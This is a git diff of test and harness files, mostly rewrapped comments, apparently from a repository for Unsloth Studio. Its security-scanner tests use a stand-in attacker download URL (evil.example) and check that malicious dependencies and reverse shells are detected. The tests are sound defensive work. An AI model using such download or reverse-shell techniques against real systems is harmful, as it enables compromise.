release's (wrong) dependency tree.project = _meta([], requires = ["latestdep==9.9.9"])monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)assert sp._requires_dist_for("oldpkg", "1.0.0", project) == []def test_requires_dist_for_uses_pinned_release(monkeypatch):- # Project-level (latest) metadata declares no malicious dep; the pinned- # release does. _requires_dist_for must follow the pinned release's tree.+ # Project-level (latest) metadata declares no malicious dep; the pinned release does. _requires_dist_for must follow+ # the pinned release's tree.project = _meta([], requires = ["harmless>=1"])pinned = _meta([], requires = ["payload==1.0.0"])monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project)@@ -1761,8 +1711,8 @@ def test_requires_dist_for_uses_pinned_release(monkeypatch):def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):- # Missing pinned metadata must surface an incomplete-scan error, not a silent- # [] that a caller cannot tell apart from a genuine no-deps release.+ # Missing pinned metadata must surface an incomplete-scan error, not a silent [] that a caller cannot tell apart+ # from a genuine no-deps release.project = _meta([], requires = ["latestdep==9.9.9"])monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)errors: list[str] = []@@ -1797,7 +1747,7 @@ def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)assert fpath is None and "non-PyPI" in err- assert list(tmp_path.iterdir()) == [] # nothing written+ assert list(tmp_path.iterdir()) == []def test_download_sdist_direct_no_sdist_published(tmp_path):@@ -1876,7 +1826,6 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):def test_find_safe_version_handles_download_tuple(monkeypatch):- # One downloaded archive, returned as the real (results, download_errors) tuple.monkeypatch.setattr(sp, "fetch_pypi_versions", lambda name: ["0.9.0", "1.0.0"])monkeypatch.setattr(sp,@@ -1888,7 +1837,6 @@ def test_find_safe_version_handles_download_tuple(monkeypatch):monkeypatch.setattr(sp.os, "remove", lambda *a, **k: None)monkeypatch.setattr(sp.shutil, "rmtree", lambda *a, **k: None)- # bad_ver 1.0.0 -> the only older candidate is 0.9.0, which is clean.result = sp.find_safe_version("foo", "1.0.0", "/tmp/ignored", max_search = 10)assert result == "0.9.0"@@ -1910,8 +1858,8 @@ def test_run_fix_uses_first_archive_path(monkeypatch):monkeypatch.setattr(sp.os, "makedirs", lambda *a, **k: None)monkeypatch.setattr(sp.shutil, "rmtree", lambda *a, **k: None)- # CRITICAL package with no pinned version -> must download to resolve it,- # reaching downloaded[0][1] (the first archive's path).+ # CRITICAL package with no pinned version -> must download to resolve it, reaching downloaded[0][1] (the first+ # archive's path).entries = [{"name": "foo",@@ -2124,7 +2072,6 @@ def test_the_duplicate_check_sees_through_normalization(tmp_path):raw = [(e["package"], e["file"], e["check"], e["evidence_hash"]) for e in entries]assert raw[0] != raw[1], "a raw comparison would have called these distinct"- # And the loader agrees: two entries in, one key out.path = tmp_path / "baseline.json"path.write_text(json.dumps({"version": 1, "entries": entries}))assert len(sp._load_baseline(str(path))) == 1@@ -2211,8 +2158,6 @@ def test_scanning_in_parallel_finds_exactly_what_scanning_in_series_finds(rc_serial, out_serial, err_serial = run(1)rc_parallel, out_parallel, err_parallel = run(4)- # The pool branch prints one extra progress banner. That line is the only- # licensed difference; everything below it is the report and must match.banner = re.compile(r"^ Scanning \d+ archive\(s\) across \d+ workers\.\.\.\n", re.M)assert banner.search(out_parallel), "the pool branch did not run"out_parallel = banner.sub("", out_parallel)@@ -2220,7 +2165,6 @@ def test_scanning_in_parallel_finds_exactly_what_scanning_in_series_finds(assert out_serial == out_parallel, "parallel scan reported different findings"assert err_serial == err_parallel, "parallel scan reported different warnings"assert rc_serial == rc_parallel- # Guard against either half being trivially empty.assert "CRITICAL" in out_serialassert "[WARN]" in err_serial@@ -2417,8 +2361,7 @@ def test_digest_pinned_packages_are_pinned_on_every_supported_python():exact = (len(specifiers) == 1and specifiers[0].operator == "=="- # `==3.*` is a prefix match, not a pin, and pip resolves it to- # whatever 3.x is newest.+ # `==3.*` is a prefix match, not a pin, and pip resolves it to whatever 3.x is newest.and not specifiers[0].version.endswith(".*"))if not exact:@@ -2472,10 +2415,9 @@ def test_the_toml_helpers_run_without_stdlib_tomllib(monkeypatch):import builtinsimport importlib- # Read the REAL version before it is patched, and take whichever parser this- # interpreter genuinely has. On 3.11+ that is stdlib tomllib, which is always- # there, so the branch runs in CI; on a real 3.9/3.10 it is the tomli the- # requirements already pin, and only a machine missing both ever skips.+ # Read the REAL version before it is patched, and take whichever parser this interpreter genuinely has.+ # On 3.11+ that is stdlib tomllib, which is always there, so the branch runs in CI;+ # on a real 3.9/3.10 it is the tomli the requirements already pin, and only a machine missing both ever skips.parser = (importlib.import_module("tomllib")if sys.version_info >= (3, 11)@@ -2498,7 +2440,6 @@ def test_the_toml_helpers_run_without_stdlib_tomllib(monkeypatch):# ──────────────────────────────────────────────────────────────────────# dup2 needs a socket to mean "reverse shell"-# ──────────────────────────────────────────────────────────────────────def _reverse_shell_findings(source: str):@@ -2544,7 +2485,6 @@ def test_dup2_onto_a_socket_is_still_a_reverse_shell():)found = _reverse_shell_findings(source)assert len(found) == 1 and found[0].severity == sp.CRITICAL- # The DOTALL span covers both halves, so the entry reopens if either changes.assert "dup2" in found[0].evidence and "socket" in found[0].evidencediff --git a/tests/security/test_security_suite_stays_import_light.py b/tests/security/test_security_suite_stays_import_light.pyindex 0e9e0eaa948..569fb37245b 100644--- a/tests/security/test_security_suite_stays_import_light.py+++ b/tests/security/test_security_suite_stays_import_light.py@@ -57,8 +57,7 @@ def _module_level_statements(body):Function bodies are excluded; a CLASS body is not, since it runs at import."""for node in body:if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)):- # The BODY is deferred; decorators, defaults, annotations and bases are- # evaluated at import. Wrapped in an `Expr` for the walker below.+ # The BODY is deferred; decorators, defaults, annotations and bases are evaluated at import.for part in _definition_time_expressions(node):yield ast.Expr(value = part)if isinstance(node, ast.ClassDef):@@ -106,8 +105,8 @@ def _definition_time_expressions(node):yield node.returns-# Helpers that load with no `ast.Import` node, and the module each is imported FROM,-# since a rename makes the spelling at the call site insufficient.+# Helpers that load with no `ast.Import` node, and the module each is imported FROM, since a rename makes the spelling+# at the call site insufficient._LOADER_ORIGINS = {"import_module": "importlib","__import__": "builtins",@@ -139,9 +138,7 @@ def _scope_bindings(scope):def _settled_aliases(bindings, inherited):"""Names bound to one of those helpers, by `from <origin> import <helper> as<alias>` or `alias = <helper>`. Nothing else is guessed at."""- # alias -> the helper it NAMES, so a renamed `import_module` is not read as a- # renamed `importorskip`. Last binding wins, and a binding to a non-loader takes- # the name out. Repeated until settled, for a chain written out of order.+ # alias -> the helper it NAMES, so a renamed `import_module` is not read as a renamed `importorskip`.aliases: dict = dict(inherited)for _round in range(_ALIAS_ROUNDS):previous = aliases@@ -330,7 +327,6 @@ def _guarded_roots(node, loaders):elif isinstance(statement, ast.AnnAssign):held = statement.valueif not isinstance(held, ast.Call):- # An import ABOVE the guard is reached first, so the scan stops here.if _reaches_a_heavy_dependency(statement, loaders):breakcontinue@@ -343,6 +339,7 @@ def _guarded_roots(node, loaders):)# The alias's ORIGIN decides: an importlib alias lives in `loaders` too.if not _is_pytest_skip(attribute, loaders):+ # An import ABOVE the guard is reached first, so the scan stops here.# The same stop, for calls: a non-guard call may be the load itself.if _reaches_a_heavy_dependency(statement, loaders):breakdiff --git a/tests/studio/_code_block_flicker_analysis.py b/tests/studio/_code_block_flicker_analysis.pyindex e2aa303eb98..550cdfdd660 100644--- a/tests/studio/_code_block_flicker_analysis.py+++ b/tests/studio/_code_block_flicker_analysis.py@@ -14,16 +14,15 @@ wherever the repo's CPU suite runs.from __future__ import annotations-# Minimum height before a drop counts, so a genuinely short fence is never read as a collapsed-# tall one.+# Minimum height before a drop counts, so a genuinely short fence is never read as a collapsed tall one.TALL_PX = 400-# Streamdown's inline fallback is 200px plus the wrapper's padding and header row. A drop landing-# in this band is that fallback specifically, which is what lets a collapse be attributed.+# Streamdown's inline fallback is 200px plus the wrapper's padding and header row.PLACEHOLDER_LO, PLACEHOLDER_HI = 150, 300-# Frames a drop may take to come back. Going short and STAYING short is a different bug.+# Frames a drop may take to come back.+# Going short and STAYING short is a different bug.RECOVERY_FRAMES = 240-# Document-space top movement between two frames of a scroll gesture beyond this is content above-# being relaid out under the user.+# Document-space top movement between two frames of a scroll gesture beyond this is content above being relaid out under+# the user.SHIFT_PX = 8@@ -58,9 +57,9 @@ def analyse_stream(frames: list[dict]) -> dict:placeholder_frames += 1continuestart_frame, before = open_drop- # A collapse can deepen after it opens (1700 -> 700 -> 200), so track the worst drop- # while it stays open. Measuring only the first step reports 1000px for a 1500px- # collapse and disagrees with the heightAtFloor of the same event.+ # A collapse can deepen after it opens (1700 -> 700 -> 200), so track the worst drop while it stays open.+ # Measuring only the first step reports 1000px for a 1500px collapse and disagrees with the heightAtFloor of+ # the same event.worst_drop_px = max(worst_drop_px, before - height)if PLACEHOLDER_LO <= height <= PLACEHOLDER_HI:placeholder_frames += 1@@ -92,10 +91,9 @@ def analyse_stream(frames: list[dict]) -> dict:)open_drop = None- # A drop still open when the log ends is recorded, not discarded: the ~150 frame tail is- # shorter than RECOVERY_FRAMES, so a block collapsing at finalization and staying short- # never trips the branch above and would appear in neither `collapses` nor `detail`.- # Still not counted as a collapse: it never came back.+ # A drop still open when the log ends is recorded, not discarded: the ~150 frame tail is shorter than+ # RECOVERY_FRAMES, so a block collapsing at finalization and staying short never trips the branch above and+ # would appear in neither `collapses` nor `detail`.if open_drop is not None:start_frame, before = open_dropdetail.append(diff --git a/tests/studio/_playwright_robust.py b/tests/studio/_playwright_robust.pyindex db5fff4f997..67fbe9b6ebf 100644--- a/tests/studio/_playwright_robust.py+++ b/tests/studio/_playwright_robust.py@@ -29,18 +29,17 @@ _LIVE_SERVERS: list[subprocess.Popen[str]] = []_PREV_HANDLERS: dict[int, Any] = {}# Chromium launch args.-# Throttling flags stop Chromium deprioritising CPU/timers when it thinks the-# headless window is backgrounded (run 25586583024 stalled inference + render).-# TranslateUI strips a pointer-intercepting popup; ipc-flooding-protection off-# lets rapid clicks through during the slider sweep.-# No `--single-process`. It was darwin-only, for a pipeTransport.js JSON-RPC crash,-# and it caps Chromium at exactly ONE BrowserContext: opening a second one kills the-# browser with SIGTRAP, and the next new_page() raises "Target page, context or-# browser has been closed". Closing a context does it too, even with another still-# open. That is what made "Update banner layout regression" red on every macos-14 run-# (it needs a context per viewport), and it is why playwright_chat_ui.py had to keep-# every step inside one context. Measured with chromium-headless-shell 151: with the-# flag, a second context dies immediately; without it, 12 open/close cycles pass.+# Throttling flags stop Chromium deprioritising CPU/timers when it thinks the headless window is backgrounded (run+# 25586583024 stalled inference + render).+# TranslateUI strips a pointer-intercepting popup; ipc-flooding-protection off lets rapid clicks through during the+# slider sweep.+# No `--single-process`. It was darwin-only, for a pipeTransport.js JSON-RPC crash, and it caps Chromium at exactly+# ONE BrowserContext: opening a second one kills the browser with SIGTRAP, and the next new_page() raises "Target page,+# context or browser has been closed". Closing a context does it too, even with another still open.+# That is what made "Update banner layout regression" red on every macos-14 run (it needs a context per viewport), and+# it is why playwright_chat_ui.py had to keep every step inside one context.+# Measured with chromium-headless-shell 151: with the flag, a second context dies immediately; without it, 12+# open/close cycles pass._BASE_CHROMIUM_ARGS = ("--disable-dev-shm-usage","--no-sandbox",@@ -61,10 +60,9 @@ def chromium_launch_args(platform: str | None = None) -> list[str]:# Init script injected into every Playwright context.-# CSS view-transitions render a full-window pseudo-element that intercepts-# pointer events after each theme/route swap, so Playwright reports-# `<html> intercepts pointer events` on the next click. Killing the-# pseudo-elements + shimming startViewTransition synchronously fixes both.+# CSS view-transitions render a full-window pseudo-element that intercepts pointer events after each theme/route swap,+# so Playwright reports `<html> intercepts pointer events` on the next click. Killing the pseudo-elements + shimming+# startViewTransition synchronously fixes both.# Idempotent and safe to install on every page._VIEW_TRANSITION_KILLER_JS = """(function () {@@ -107,9 +105,8 @@ def install_view_transition_killer(ctx: Any) -> None:# Server health pre-flight.-# On the macos-14 free runner /api/health can return 200 while /api/auth still-# 503s (auth DB mid-migration); this in-script probe catches that gap before a-# 60s change-password timeout.+# On the macos-14 free runner /api/health can return 200 while /api/auth still 503s (auth DB mid-migration);+# this in-script probe catches that gap before a 60s change-password timeout.# The smoke pages are dev-server-only, so each harness owns its server. A backgrounded@@ -204,8 +201,8 @@ def start_vite(port: int, *, host: str = "127.0.0.1") -> subprocess.Popen[str]:if os.name == "nt"else {"start_new_session": True})- # shutil.which honours PATHEXT, so this resolves npm.cmd on Windows. CreateProcess cannot- # run a .cmd directly, so a bare "npm" is a FileNotFoundError there.+ # shutil.which honours PATHEXT, so this resolves npm.cmd on Windows. CreateProcess cannot run a .cmd directly, so+ # a bare "npm" is a FileNotFoundError there.npm = shutil.which("npm") or "npm"proc = subprocess.Popen([npm, "run", "dev", "--", "--host", host, "--port", str(port), "--strictPort"],@@ -350,10 +347,8 @@ def wait_for_health(return False-# Page recovery: if the page died mid-test, open a fresh one in the same context-# (localStorage auth survives); otherwise leave it alone. Optionally re-navigates.--+# Page recovery: if the page died mid-test, open a fresh one in the same context (localStorage auth survives); otherwise+# leave it alone. Optionally re-navigates.def recover_or_replace_page(page: Any,ctx: Any,@@ -427,9 +422,8 @@ def click_and_wait_for_response(# Console-error / page-error filtering.# - BENIGN_PAGE_ERROR_PATTERNS: CI-infra JS errors with no user-visible effect;# the page-error gate must not count these.-# - BENIGN_CONSOLE_ERROR_PATTERNS: same-cause console.error events, used only to-# filter noise from diagnostic dumps (tests don't gate on console.error).-+# - BENIGN_CONSOLE_ERROR_PATTERNS: same-cause console.error events, used only to filter noise from diagnostic dumps+# (tests don't gate on console.error).BENIGN_PAGE_ERROR_PATTERNS: tuple[str, ...] = ("Request failed (422)","Failed to fetch",@@ -440,8 +434,7 @@ BENIGN_PAGE_ERROR_PATTERNS: tuple[str, ...] = ()BENIGN_CONSOLE_ERROR_PATTERNS: tuple[str, ...] = (- # macos-14 buffer exhaustion; the test catches the underlying request- # failure via expect_response and retries.+ # macos-14 buffer exhaustion; the test catches the underlying request failure via expect_response and retries."net::ERR_NO_BUFFER_SPACE",# Intentional fetch aborts (unmount, route change) log a console.error."AbortError",@@ -473,10 +466,9 @@ def wait_for_first(locator: Any, *, timeout_ms: int = 10_000) -> Any | None:caller's existing "is this control present at all" branch, including thefallbacks that legitimately expect a miss."""- # Imported here, not at module scope. Nothing else in this file imports- # playwright, and the harness-contract tests import it on runners that have- # no browser stack -- a top-level import would turn those into collection- # errors instead of skips.+ # Imported here, not at module scope. Nothing else in this file imports playwright, and the harness-contract tests+ # import it on runners that have no browser stack -- a top-level import would turn those into collection errors+ # instead of skips.from playwright.sync_api import TimeoutError as PlaywrightTimeoutErrortry:@@ -508,8 +500,8 @@ def echo_browser_errors(page: Any, info: Callable[[str], None]) -> None:lambda m: info(f"console.{m.type}: {m.text}") if m.type == "error" else None,)page.on("requestfailed", lambda r: info(f"requestfailed: {r.url} {r.failure}"))- # Vite reloads the page after re-optimizing a late-discovered dep, unmounting the- # tree mid-assertion. Name it if it happens.+ # Vite reloads the page after re-optimizing a late-discovered dep, unmounting the tree mid-assertion. Name it if it+ # happens.page.on("framenavigated",lambda f: info(f"navigated: {f.url}") if f is page.main_frame else None,@@ -579,11 +571,10 @@ def dump_diagnostics(info(f"diagnostics: json sidecar {name} failed: {exc}")-# Markers for the transient Playwright error raised when a navigation, reload, or-# auth refresh destroys the JS execution context while an evaluate is in flight.-# Stored lowercase and matched against a lowercased message: Playwright varies the-# casing across versions ("Frame was detached" vs "frame was detached"), so a-# case-sensitive check would miss the very races this is meant to catch.+# Markers for the transient Playwright error raised when a navigation, reload, or auth refresh destroys the JS execution+# context while an evaluate is in flight. Stored lowercase and matched against a lowercased message: Playwright varies+# the casing across versions ("Frame was detached" vs "frame was detached"), so a case-sensitive check would miss the+# very races this is meant to catch._CONTEXT_LOST_MARKERS = ("execution context was destroyed","context with specified id",@@ -593,17 +584,15 @@ _CONTEXT_LOST_MARKERS = ("execution context is not available",)-# HTTP methods whose replay is side-effect-free, so an evaluate_fetch hit by a-# mid-call context loss may safely re-run. Mutating methods are excluded by-# default (see evaluate_fetch) to avoid double-applying an already-sent request.+# HTTP methods whose replay is side-effect-free, so an evaluate_fetch hit by a mid-call context loss may safely re-run.+# Mutating methods are excluded by default (see evaluate_fetch) to avoid double-applying an already-sent request._IDEMPOTENT_METHODS = frozenset({"GET", "HEAD", "OPTIONS"})# Robust page/locator.evaluate.-# A navigation mid-evaluate destroys the execution context and raises at the Python-# level (not a JS result), which would crash the script. Retry that transient class-# within a small budget, settling the page first; non-transient or persistent errors-# still propagate.+# A navigation mid-evaluate destroys the execution context and raises at the Python level (not a JS result), which would+# crash the script. Retry that transient class within a small budget, settling the page first; non-transient or+# persistent errors still propagate.def robust_evaluate(target: Any,expression: str,@@ -714,20 +703,19 @@ def evaluate_fetch("body": body_arg,"timeoutMs": int(timeout_ms),}- # Retry transport failures only: status != 0 (real HTTP) and AbortError- # (caller's deadline) propagate; status==0 (stale-keepalive / "Failed to- # fetch" after auth rotation) retries after backoff to evict the dead socket.+ # Retry transport failures only: status != 0 (real HTTP) and AbortError (caller's deadline) propagate; status==0+ # (stale-keepalive / "Failed to fetch" after auth rotation) retries after backoff to evict the dead socket.last: dict[str, Any] | None = Noneattempts = max(1, int(transport_retries) + 1)# Replay the in-page evaluate on a context loss only for idempotent reads;- # mutating methods (POST/PUT/PATCH/DELETE) may have already hit the backend,- # so retrying would re-send them (see docstring). Honor an explicit override.+ # mutating methods (POST/PUT/PATCH/DELETE) may have already hit the backend, so retrying would re-send them (see+ # docstring). Honor an explicit override.if retry_on_context_loss is None:retry_on_context_loss = method.upper() in _IDEMPOTENT_METHODSctx_retries = 2 if retry_on_context_loss else 0for attempt in range(attempts):- # robust_evaluate retries the evaluate when a navigation destroys the- # execution context mid-call; the loop here retries transport failures.+ # robust_evaluate retries the evaluate when a navigation destroys the execution context mid-call; the loop here+ # retries transport failures.result = robust_evaluate(page, js, payload, retries = ctx_retries, backoff_ms = transport_backoff_ms)@@ -757,9 +745,8 @@ def evaluate_fetch(# Wall-clock watchdog.-# A browser wedge (CPU-pinned JS, silent renderer crash, asyncio deadlock) can-# still hang the script. A daemon Timer calls os._exit(2) after deadline_s; exit-# code 2 lets the workflow's `set -e` propagate. Pick deadline_s above the+# A browser wedge (CPU-pinned JS, silent renderer crash, asyncio deadlock) can still hang the script. A daemon Timer+# calls os._exit(2) after deadline_s; exit code 2 lets the workflow's `set -e` propagate. Pick deadline_s above the# slowest healthy run (macos-14 cold cache ~7-9 min) but under the 30-min cap.def install_wall_clock_watchdog(deadline_s: float,@@ -824,6 +811,6 @@ def click_forced(locator.scroll_into_view_if_needed(timeout = timeout_ms)except Exception:pass- # Callers pass their own `timeout` through: several of these clicks wait longer- # than the default because the tab they open is doing work behind the overlay.+ # Callers pass their own `timeout` through: several of these clicks wait longer than the default because the tab+ # they open is doing work behind the overlay.locator.click(force = True, **click_kwargs)diff --git a/tests/studio/_thread_fast_copy_constructs.py b/tests/studio/_thread_fast_copy_constructs.pyindex 95b758e16bd..49271704151 100644--- a/tests/studio/_thread_fast_copy_constructs.py+++ b/tests/studio/_thread_fast_copy_constructs.py@@ -22,7 +22,7 @@ Adding a case here widens the proof for free; the driver iterates this dict.from __future__ import annotations-#: A 1x1 transparent GIF, left unclosed so a caller appends its own `alt="..."` attribute.+# : A 1x1 transparent GIF, left unclosed so a caller appends its own `alt="..."` attribute.IMG = '<img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" 'CONSTRUCTS = {diff --git a/tests/studio/_ts_deps.py b/tests/studio/_ts_deps.pyindex c9f3289cac1..ec18bcdbcb8 100644--- a/tests/studio/_ts_deps.py+++ b/tests/studio/_ts_deps.py@@ -344,7 +344,7 @@ class _Module:and body == -1or (kind.startswith("function") and semicolon != -1 and semicolon < body)):- return None # An overload signature; the implementation follows it.+ return Noneend = _block_end(self.blanked, line_start)elif kind == "type":end = _statement_end(self.blanked, start)@@ -357,8 +357,7 @@ class _Module:return Nonetext = self.text[line_start:end].strip("\n")if not _balanced(_blank_noise(text)) or "\nexport " in text:- # Over-sliced into whatever followed. Refuse rather than emit source that will- # not parse: an unfollowed name is the state this harness was already in.+ # Over-sliced into whatever followed.return Nonereturn text@@ -395,7 +394,6 @@ def _resolve_module(spec: str, importer: Path, root: Path) -> Path | None:base = (importer.parent / spec).resolve()else:return None # A package, not our source.- # Appended, not `with_suffix`: `./rag.types` must become `rag.types.ts`, not `rag.ts`.for candidate in (base,Path(f"{base}.ts"),@@ -476,7 +474,6 @@ def resolve_dependencies(return modules[path]defined = _harness_bindings(harness_source)- # name -> (kind, source text, the names it referenced that this tried to resolve)pulled: dict[str, tuple[str, str, set[str]]] = {}order: list[str] = []seen: set[tuple[Path, str]] = set()@@ -507,8 +504,8 @@ def resolve_dependencies(if text is None:returndefined.add(name)- # Dependencies first: a hoisted `function` would not care, but a `const` read before- # its declaration is a TDZ error rather than `undefined`.+ # Dependencies first: a hoisted `function` would not care, but a `const` read before its declaration is a TDZ+ # error rather than `undefined`.wanted = set()for reference in home.references(text):if (@@ -517,7 +514,6 @@ def resolve_dependencies(or reference in home.reexports):# A name this module really does resolve, so failing to follow it matters.- # Anything else is a local binding or a runtime global, both already present.wanted.add(reference)pull(reference, origin)pulled[name] = (@@ -532,12 +528,11 @@ def resolve_dependencies(for reference in home.references(harness_source):pull(reference, source)- # A declaration evaluated at import time cannot be left half-resolved: `const A = [B]`- # with `B` refused crashes the whole harness on load, which is worse than the lazy- # ReferenceError it replaced. Drop those to a fixed point instead. Functions and types- # are lazy or erased, so an unfollowed reference in one costs nothing until it is called.- # A fixture the harness defines does not rescue one either: the fixtures sit BELOW this- # block, so reading one from here is a TDZ error rather than a resolution.+ # A declaration evaluated at import time cannot be left half-resolved: `const A = [B]` with `B` refused crashes the+ # whole harness on load, which is worse than the lazy ReferenceError it replaced. Drop those to a fixed point+ # instead. Functions and types are lazy or erased, so an unfollowed reference in one costs nothing until it is+ # called. A fixture the harness defines does not rescue one either: the fixtures sit BELOW this block, so reading+ # one from here is a TDZ error rather than a resolution.eager = {"const", "let", "var", "class"}while True:doomed = {diff --git a/tests/studio/appimage_model_download_webdriver.py b/tests/studio/appimage_model_download_webdriver.pyindex b492e8d86a0..7027d2d63c2 100644--- a/tests/studio/appimage_model_download_webdriver.py+++ b/tests/studio/appimage_model_download_webdriver.py@@ -96,18 +96,15 @@ def _wait_for(raise AssertionError(f"Timed out waiting for {description}; last result: {last!r}")-# The quant list is fetched once per expanded row, by an effect keyed on-# [repoId, localSource, refreshKey, hfToken]. Its .catch() calls setError and stops:-# there is no automatic retry, by design, and the row offers a Retry button instead.-# So one transient transport blip at the moment the row expands leaves the row showing-# an error for the rest of the run, and waiting longer cannot help -- nothing is still-# in flight. Observed as "Unsloth isn't running -- please relaunch it." rendered inside-# the FLUX.2-klein-4B row while /api/health kept answering for another 49 seconds, on a-# job that fails on roughly three runs in four across unrelated branches.+# The quant list is fetched once per expanded row, by an effect keyed on [repoId, localSource, refreshKey, hfToken].+# Its .catch() calls setError and stops: there is no automatic retry, by design, and the row offers a Retry button+# instead. So one transient transport blip at the moment the row expands leaves the row showing an error for the rest+# of the run, and waiting longer cannot help -- nothing is still in flight. Observed as "Unsloth isn't running --+# please relaunch it." rendered inside the FLUX.2-klein-4B row while /api/health kept answering for another 49 seconds,+# on a job that fails on roughly three runs in four across unrelated branches.#-# Clicking Retry is what a user does and what the row is built for. Bounded, and the-# listing error is reported if the retries run out, so a backend that is genuinely-# unreachable still fails the run rather than looping.+# Clicking Retry is what a user does and what the row is built for. Bounded, and the listing error is reported if the+# retries run out, so a backend that is genuinely unreachable still fails the run rather than looping._VARIANT_RETRY_ATTEMPTS = 3_VARIANT_ERROR_TEXT = ("const box=[...document.querySelectorAll('div')].find("diff --git a/tests/studio/appimage_portability_smoke.py b/tests/studio/appimage_portability_smoke.pyindex db24410cba5..71e240421a1 100644--- a/tests/studio/appimage_portability_smoke.py+++ b/tests/studio/appimage_portability_smoke.py@@ -27,12 +27,11 @@ DESKTOP_SECRET = "appimage-portability-secret"# The dispositions that mean the app gave up on the fixture and went to repair.-# Without this the run just times out after 45s on "never completed desktop-# authentication", which says nothing about why; the reason is in tauri.log and-# nobody reads it, so the nightly sat red for weeks looking like a webview fault.-# ExternalConflict is here for the same reason though it is not a repair: another-# backend already owns the port, so the fixture is never contacted and the wait can-# only expire. It is what a developer box with a Studio already running produces.+# Without this the run just times out after 45s on "never completed desktop authentication", which says nothing+# about why; the reason is in tauri.log and nobody reads it, so the nightly sat red for weeks looking like a+# webview fault. ExternalConflict is here for the same reason though it is not a repair: another backend already+# owns the port, so the fixture is never contacted and the wait can only expire. It is what a developer box with+# a Studio already running produces._GAVE_UP_MARKERS = ("start_managed_repair command called","disposition=ManagedStale",diff --git a/tests/studio/appimage_test_support.py b/tests/studio/appimage_test_support.pyindex 29a3780a3ae..7723db2a94d 100644--- a/tests/studio/appimage_test_support.py+++ b/tests/studio/appimage_test_support.py@@ -14,26 +14,16 @@ LOADER_ERROR_MARKERS = ()# What a fixture reports as the managed backend's version.-#-# Not MIN_DESKTOP_BACKEND_VERSION, which is only the right answer for a build made-# here. The floor is not the only gate: managed_backend_version_stale_reason()-# compares against expected_backend_version(), which is-#-# option_env!("UNSLOTH_DESKTOP_BACKEND_VERSION").unwrap_or(MIN_DESKTOP_BACKEND_VERSION)-#-# and the release workflow stamps that from the same pypi_version as the updater-# manifest. A build from this repo leaves it unset and accepts the floor; a-# published one does not. v0.1.804-beta is pinned to backend 2026.8.22 and read-# the floor as `desktop_backend_version_outdated`, so it ran its bundled installer-# instead of doing what the test was watching for. Every AppImage lane of the-# nightly failed on that while the pull_request lane, testing an unstamped build-# of the same commit, passed.-#-# A fixture cannot know what a given release stamped, so it reports a version no-# build can call outdated. Both comparisons are one-sided, compatible is-# `>= floor` and outdated is `< expected`, so nothing rejects a version for being-# too new. It lives here rather than in either test because #10001 fixed only the-# portability smoke and the model-download E2E kept failing for exactly this.+# Not MIN_DESKTOP_BACKEND_VERSION, which is only the right answer for a build made here.+# The floor is not the only gate: managed_backend_version_stale_reason() compares against expected_backend_version(),+# which is option_env!("UNSLOTH_DESKTOP_BACKEND_VERSION").unwrap_or(MIN_DESKTOP_BACKEND_VERSION) and the release+# workflow stamps that from the same pypi_version as the updater manifest.+# v0.1.804-beta is pinned to backend 2026.8.22 and read the floor as `desktop_backend_version_outdated`, so it ran its+# bundled installer instead of doing what the test was watching for.+# Every AppImage lane of the nightly failed on that while the pull_request lane, testing an unstamped build of the same+# commit, passed.+# It lives here rather than in either test because #10001 fixed only the portability smoke and the model-download E2E+# kept failing for exactly this.FIXTURE_BACKEND_VERSION = "9999.12.31"diff --git a/tests/studio/install/smoke_test_parallel_studio_home.py b/tests/studio/install/smoke_test_parallel_studio_home.pyindex 55b6df5190f..d90406a2d7c 100644--- a/tests/studio/install/smoke_test_parallel_studio_home.py+++ b/tests/studio/install/smoke_test_parallel_studio_home.py@@ -79,8 +79,8 @@ def _launch_backend(log_path.parent.mkdir(parents = True, exist_ok = True)env = os.environ.copy()env["HOME"] = str(fake_home)- # Pin UNSLOTH_STUDIO_HOME and clear the alias so the child can't inherit a- # Unsloth root from the caller's shell and resolve to the wrong install.+ # Pin UNSLOTH_STUDIO_HOME and clear the alias so the child can't inherit a Unsloth root from the caller's shell and+ # resolve to the wrong install.env["UNSLOTH_STUDIO_HOME"] = str(studio_home)env.pop("STUDIO_HOME", None)# Popen dups stdout into the child, so closing the parent's handle here is safe.diff --git a/tests/studio/install/test_amd_fastpath_probe.py b/tests/studio/install/test_amd_fastpath_probe.pyindex bc20ff95fc0..6adb124b83d 100644--- a/tests/studio/install/test_amd_fastpath_probe.py+++ b/tests/studio/install/test_amd_fastpath_probe.py@@ -62,16 +62,16 @@ def _host(monkeypatch.setattr(stack, "_has_rocm_gpu", lambda: rocm_gpu and not nvidia)def _detect(dedup = True, **_kw):- # The real probe records which tool answered; callers read it to decide whether the- # list is ROCr-filtered and in the masks' order. Leaving the global at whatever ran- # last makes that depend on test order, and on a real AMD box on the machine.+ # The real probe records which tool answered; callers read it to decide whether the list is ROCr-filtered and in+ # the masks' order. Leaving the global at whatever ran last makes that depend on test order, and on a real AMD+ # box on the machine.stack._LAST_AMD_GFX_PROBE = probe_source if gfx else Nonereturn list(dict.fromkeys(gfx)) if dedup else list(gfx)monkeypatch.setattr(stack, "_detect_amd_gfx_codes", _detect)monkeypatch.setattr(stack, "_kfd_gfx_targets", lambda: [], raising = False)- # No AMD per-arch wheel is installed unless a case says so: on the gfx1151 runner these- # two read a real one out of the venv and decide gates no case here described.+ # No AMD per-arch wheel is installed unless a case says so: on the gfx1151 runner these two read a real one out+ # of the venv and decide gates no case here described.monkeypatch.setattr(stack, "_installed_rocm_wheel_family", lambda: installed_family)monkeypatch.setattr(stack, "_torch_requires_rocm_sdk", lambda: installed_family is not None)monkeypatch.setattr(stack, "_detect_rocm_version", lambda: rocm_ver)@@ -92,8 +92,6 @@ def _needs_pass():# Wrong wheel--@pytest.mark.parametrize("version",["2.9.0+cpu", "2.9.0+cu128", "2.9.0", "2.8.0a0+34c6371d24.nv25.08"],@@ -120,9 +118,6 @@ def test_a_real_device_selection_is_not_a_hidden_host(monkeypatch):assert _needs_pass() is True-# Correct 